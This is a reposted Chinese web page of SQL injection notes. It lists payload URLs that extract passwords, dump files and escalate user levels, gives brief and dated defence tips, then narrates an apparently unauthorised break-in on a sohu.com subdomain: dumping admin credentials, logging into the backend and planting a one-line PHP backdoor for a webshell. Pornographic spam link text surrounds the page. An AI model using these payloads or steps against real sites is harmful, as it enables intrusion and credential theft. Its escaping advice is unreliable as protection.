天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

PHP的SQL注入過程分析

今天從網上學習了有關SQL注入的基本技能。SQL注入的重點就是構造SQL語句,只有靈活的運用SQL
  語句才能構造出牛比的注入字符串。學完之后寫了點筆記,已備隨時使用。希望你在看下面內容時先了
  解SQL的基本原理。筆記中的代碼來自網絡
  ===基礎部分===
  本表查詢:
  http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
  http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
  Union聯合語句:
  http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
  導出文件:
  http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
  http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
  INSERT語句:
  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  構造homepage值為:http://4ngel.NET', '3')#
  SQL語句變為:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.NET', '3')#', '1');
  UPDATE語句:我喜歡這樣個東西
  先理解這句SQL
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  如果此SQL被修改成以下形式,就實現了注入
  1:修改homepage值為
  http://4ngel.NET', userlevel='3
  之后SQL語句變為
  UPDATE user SET password='mypass', homepage='http://4ngel.NET', userlevel='3' WHERE id='$id'
  userlevel為用戶級別
  2:修改password值為
  mypass)' WHERE username='admin'#
  之后SQL語句變為
  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  3:修改id值為
  ' OR username='admin'
  之后SQL語句變為
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高級部分===
  常用的MySQL內置函數
  DATABASE()
  USER()
  SYSTEM_USER()
  SESSION_USER()
  CURRENT_USER()
  database()
  version()
  SUBSTRING()
  MID()
  char()
  load_file()
  ……
  函數應用
  UPDATE article SET title=DATABASE() WHERE id=1
  http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
  SELECT * FROM user WHERE username=char(97,110,103,101,108)
  # char(97,110,103,101,108) 相當于angel,十進制
  http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
  http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
  確定數據結構的字段個數及類型
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
  http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
  猜數據表名
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
  跨表查詢得到用戶名和密碼
  http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
  其他
  #驗證第一位密碼
  http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
  ===注入防范===
  服務器方面
  magic_quotes_gpc設置為On
  display_errors設置為Off
  編碼方面
  $keywords = addslashes($keywords);
  $keywords = str_replace("_","/_",$keywords);
  $keywords = str_replace("%","/%",$keywords);
  數值類型
  使用intval()抓換
  字符串類型
  SQL語句參數中要添加單引號
  下面代碼,用于防治注入
  if (get_magic_quotes_gpc()) {
  //....
  }else{
  $str = mysql_real_escape_string($str);
  $keywords = str_replace("_","/_",$keywords);
  $keywords = str_replace("%","/%",$keywords);
  }
  有用的函數
  stripslashes()
  get_magic_quotes_gpc()
  mysql_real_escape_string()
  strip_tags()
  array_map()
  addslashes()
  參考文章:
  http://www.4ngel.NET/article/36.htm (SQL Injection with MySQL)中文
  http://www.phpe.NET/mysql_manual/06-4.html(MYSQL語句參考)
  對sohu.com的一次安全檢測
  已發表于黑客防線
  發布在http://www.loveshell.NET
  sohu.com是國內一家比較大的門戶網站,提供了包括郵箱在內的很多服務。這么大的一個網站,不出問題是很難的,俗話說服務越多越不安全嘛!無論是對 于服務器還是網站都是這個道理,最近學習Mysql注入,于是順便就對sohu.com做了一次小小的安全檢測,看看它存不存在SQL注入漏洞。
  看看sohu.com的主站發現差不多都是靜態的,于是放棄了在主站上找問題的想法。直接在sohu.com的各個分站上瀏覽了一圈后發現,大部分網站采 用的都是php腳本,也有少數用的是jsp腳本,根據經驗我們知道,對于php構建的系統,一般后臺數據庫都是Mysql,就好象ASP對應著Mssql一樣,看來可能存在問題的地方還是很多的。由于php的特性(php默認將傳遞的參數中的'等字符做了轉換,所以對于字符類型的變量默認情況下很難注 入),一般情況下我們注入的只能是數字類型的變量了。根據平時注入的知識,我們知道id=XXX這樣的形式傳遞的參數一般都是數字類型的變量,所以我們只 要去測試那些php?id=XXX的連接就可能找到漏洞了!通過一番仔細的搜索,還真讓我在XXX.it.sohu.com上找到了一個存在問題的連接http://XXX.it.sohu.com/book/serialize.php?id=86
  提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
  返回正常如圖1。
  然后提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
  返回沒有信息如圖2,空空的吧,應該是SQL語句結果為空了。
  通過這兩個Url我們可以猜測漏洞是存在的,因為我們提交的and 1=1和and 1=2都被當作Sql語句執行啦!那么我們提交的其他語句也是可以執行的,這就是Sql注入了!我們還可以知道id這個變量是被當作數字處理的,沒有放到 ''之間,否則我們是成功不了的哦!如果變量沒有過濾Sql其他關鍵字的話,我們就很有可能成功啦!我遇到很多的情況都是變量過濾了select,在 mysql里就是死路了,好郁悶!
  既然漏洞是存在的,讓我們繼續吧!首先當然是探測數據庫的類型和連接數據庫的帳戶啦!權限高并且數據庫和web同機器的話可以免除猜測字段的痛苦啦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
  返回正常如圖3,這個語句是看數據庫的版本是不是高于3的,因為3的ASCII是51嘛!版本的第一個字符是大于51的話當然就是4.0以上啦!4.0以 上是支持union查詢的,這樣就可以免除一位一位猜測的痛苦哦!這里結果為真,所以數據庫是4.0以上的哦,可以支持union了。
  既然支持union查詢就先把這個語句的字段給暴出來吧!以后再用union查詢什么都是很快的哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
  返回結果正常如圖4,看來字段是大于10個的,繼續提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
  正常返回,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
  ......
  到order by 50的時候返回沒有信息了!看來是大于40的小于50的,于是提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
  ......
  終于猜測到字段是41左右啦!這里說是左右是因為有些字段是不能排序的,所以還需要我們用union精確定位字段數字是41,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  返回結果如圖5,哈哈,成功了哦!哪些字段會在頁面顯示也是一目了然了!現在讓我們繼續吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  返回結果如圖6,完成了數據庫系統的探測哦!我們很有可能不是root,并且數據庫服務器和web也很有可能不是在一臺服務器,這樣的話我們就沒有file權限了!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
  返回結果如圖7,沒有對mysql的讀取權限,更加確定權限不是root了!呵呵!
  既然不是root,也不要氣餒,讓我們繼續吧!在進一步猜測數據之前我們最好找下后臺先,很多時候找到了管理員密碼卻找不到地方登陸,很郁悶的說!在根目 錄下加/admin和/manage/等等后臺常用的地址都是返回404錯誤,猜測了幾次終于在/book/目錄下admin的時候出現了403 Forbiden錯誤,哈哈,是存在這個目錄的!但是登陸頁面死活也猜不出來,郁悶中!不過既然知道有個admin也好說,去Google里搜索:
  admin site:sohu.com
  如圖8,得到了另外一個分站的論壇,我們知道人是很懶惰的,通常一個地方的后臺的特征就很可能是整個網站的特征,所以當我嘗試訪問/book/admin /admuser.php的時候奇跡出現了,如圖9,哈哈,離成功更近了哦!到這里我們知道了網站的后臺,其實我們還可以得到很重要的信息,查看原文件發 現登陸表單的名字是name和password,很容易推測出對方管理員表中的結構,即使不符合估計也差不多,呵呵!所以知道為什么我們要先猜測后臺了 吧!繼續注入吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
  返回錯誤,說明不存在admin這個表,嘗試admins以及admin_user等等,最后提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  的時候返回成功,哈哈!有User這個表!那么是不是管理員表呢?字段又是什么呢?繼續提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回空信息的錯誤,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回結果如圖10,哈哈正常返回并且出來了一個密碼,應該是管理員表里第一個用戶的密碼!那么他的用戶名字是什么呢?猜測很多字段都是返回錯誤,實在沒有辦法的時候輸入一個ID,居然返回成功了!ID就是管理員的名字哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回結果如圖11,哈哈,得到管理員的名字了哦!激動地拿著管理員名字和密碼去后臺登陸成功了哦!如圖12。現在是想想怎么拿webshell的時候了, 在后臺發現有上傳圖片的地方,但是當上傳php文件的時候提示說不是圖片文件,郁悶了!在后臺仔細的亂七八糟的亂翻了會,發現有個生成php文件的功能, 于是在里面插入了一句話的php后門,如圖13,點生成之后提示成功了,看來如果沒有過濾的話我們應該是得到webshell了,密碼是a,用一句 話后門連上去如圖14,哈哈,成功了!腳本檢測到此圓滿完成!
  在得到webshell之后我上服務器上看了看,發現服務器的安全是做得不錯,執行不了命令,并且基本上所有的目錄除了我們剛才上傳的目錄之外都是不可寫 的,不過作為腳本測試,得到了webshell也就算成功了吧!也可以看出,小小的一個參數沒有過濾就可以導致網站的淪陷,特別是像sohu.com這樣 的大站,參數更多,更加要注意過濾方面的問題哦!

php技術PHP的SQL注入過程分析,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 免费乱理伦片在线观看八戒 | 四虎永久在线精品国产免费 | 中文无码有码亚洲 欧美 | 久久亚洲精品AV成人无码 | 国产 日韩 欧美 综合 激情 | 交换:年轻夫妇-HD中文字幕 | 达达兔午夜一级毛片 | 超碰高清熟女一区二区 | 日本熟妇乱人伦A片精品软件 | 久久精品视在线-2 | 国产精品成人自拍 | 精品人伦一区二区三区潘金莲 | 久久艹综合 | 99久久综合国产精品免费 | 欧洲内射XXX高清 | 无限资源在线观看高清 | 国产传媒18精品A片在线观看 | 无码中文字幕av免费放 | 欧美熟妇互舔20p | 亚洲视频在线观看免费 | 国产成人免费片在线视频观看 | 久久婷婷五月免费综合色啪 | 精品国产成人a区在线观看 精品国产成人AV在线看 | 精品熟女少妇AV久久免费A片 | 国产乱对白精彩在线播放 | 一区二区三区无码高清视频 | 美女用手扒开粉嫩的屁股 | 国产亚洲精品A久久777777 | 国产精品夜夜春夜夜爽久久小 | 亚洲精品成人无码区一在线观看 | 国语对白嫖老妇胖老太 | 古风一女N男到处做高H | 成3d漫二区三区四区 | FREECHINESE东北群交 | 欧美乱码伦视频免费66网 | 手机在线免费看毛片 | 亚洲 欧美 国产 在线 日韩 | 麻豆区蜜芽区 | 欧美成人一区二免费视频 | 97豆奶视频国产 | 亚洲综合国产在不卡在线 |